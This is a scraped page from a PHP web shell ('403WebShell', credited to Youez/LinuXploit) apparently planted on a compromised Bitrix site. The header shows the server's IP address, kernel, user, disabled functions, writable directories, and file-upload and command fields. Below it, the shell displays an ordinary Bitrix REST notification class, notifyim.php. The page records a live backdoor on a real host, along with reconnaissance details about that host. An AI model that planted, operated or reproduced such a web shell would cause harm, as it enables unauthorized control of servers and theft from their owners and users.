%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.224.73.77
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/rest/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/rest/lib//notifyim.php
<?php
namespace Bitrix\Rest;

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\SystemException;
use Bitrix\Rest\OAuth\Auth;

Loc::loadMessages(__FILE__);

class NotifyIm implements INotify
{
	const TOKEN_NOTIFY_TAG = 'REST_CONFIRM';
	const APP_INSTALL_REQUEST_TAG = 'APP_INSTALL_REQUEST';

	public function __construct()
	{
		if(!Loader::includeModule('im'))
		{
			throw new SystemException('Module not installed: im');
		}
	}

	public function send($clientId, $userId, $token, $method, $message)
	{
		$messageFields = array(
			"TO_USER_ID" => $userId,
			"FROM_USER_ID" => '',
			"NOTIFY_TYPE" => IM_NOTIFY_CONFIRM,
			"NOTIFY_MODULE" => "rest",
			"NOTIFY_SUB_TAG" => "rest|".static::TOKEN_NOTIFY_TAG."|".$clientId."|".$token."|".$method,
			"NOTIFY_MESSAGE" => $message,

			"NOTIFY_BUTTONS" => Array(
				array('TITLE' => Loc::getMessage("REST_NOTIFY_CONFIRM"), 'VALUE' => 'Y', 'TYPE' => 'accept'),
				array('TITLE' => Loc::getMessage("REST_NOTIFY_DECLINE"), 'VALUE' => 'N', 'TYPE' => 'cancel'),
			),
		);

		$messageFields['NOTIFY_TAG'] = $messageFields['NOTIFY_SUB_TAG'].'|'.$userId;

		\CIMNotify::add($messageFields);
	}

	public static function receive($module, $tag, $value, $notifyFields)
	{
		if($module == 'rest')
		{
			$tagInfo = explode("|", $tag);

			if($tagInfo[1] === static::TOKEN_NOTIFY_TAG)
			{
				$clientId = $tagInfo[2];
				$token = $tagInfo[3];
				$method = $tagInfo[4];

				$tokenInfo = array(
					'access_token' => $token,
					'parameters' => array(
						'notify_allow' => array(
							$method => $value == 'Y' ? 1 : -1,
						),
					),
				);

				Auth::updateTokenParameters($tokenInfo);

				foreach(GetModuleEvents('rest', 'OnRestAppMethodConfirm', true) as $event)
				{
					ExecuteModuleEventEx($event, array(array(
						'APP_ID' => $clientId,
						'TOKEN' => $token,
						'METHOD' => $method,
						'CONFIRMED' => $value == 'Y',
					)));
				}
				
				\CIMNotify::deleteBySubTag($notifyFields["NOTIFY_SUB_TAG"]);
			}
			elseif($tagInfo[1] === static::APP_INSTALL_REQUEST_TAG)
			{
				\CIMNotify::DeleteBySubTag("REST|APP_INSTALL_REQUEST");

				if($value == "Y")
				{
					if (isset($notifyFields["NOTIFY_BUTTONS"][0]["APP_URL"]) && \Bitrix\Main\Loader::includeModule("im"))
					{
						$messageFields = array(
							"TO_USER_ID" => $notifyFields["RELATION_USER_ID"],
							"FROM_USER_ID" => $notifyFields["AUTHOR_ID"],
							"NOTIFY_TYPE" => IM_NOTIFY_FROM,
							"NOTIFY_MODULE" => "rest",
							"NOTIFY_TAG" => "REST|APP_INSTALL_LINK|".$notifyFields["AUTHOR_ID"]."|TO|".$notifyFields["RELATION_USER_ID"],
							"NOTIFY_SUB_TAG" => "REST|APP_INSTALL_LINK|".$notifyFields["RELATION_USER_ID"],
							"NOTIFY_MESSAGE" => GetMessage("REST_APP_INSTALL_REQUEST", array("#APP_URL#" => $notifyFields["NOTIFY_BUTTONS"][0]["APP_URL"], "#APP_NAME#" => $notifyFields["NOTIFY_BUTTONS"][0]["APP_NAME"]))
						);
						\CIMNotify::Add($messageFields);
					}
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit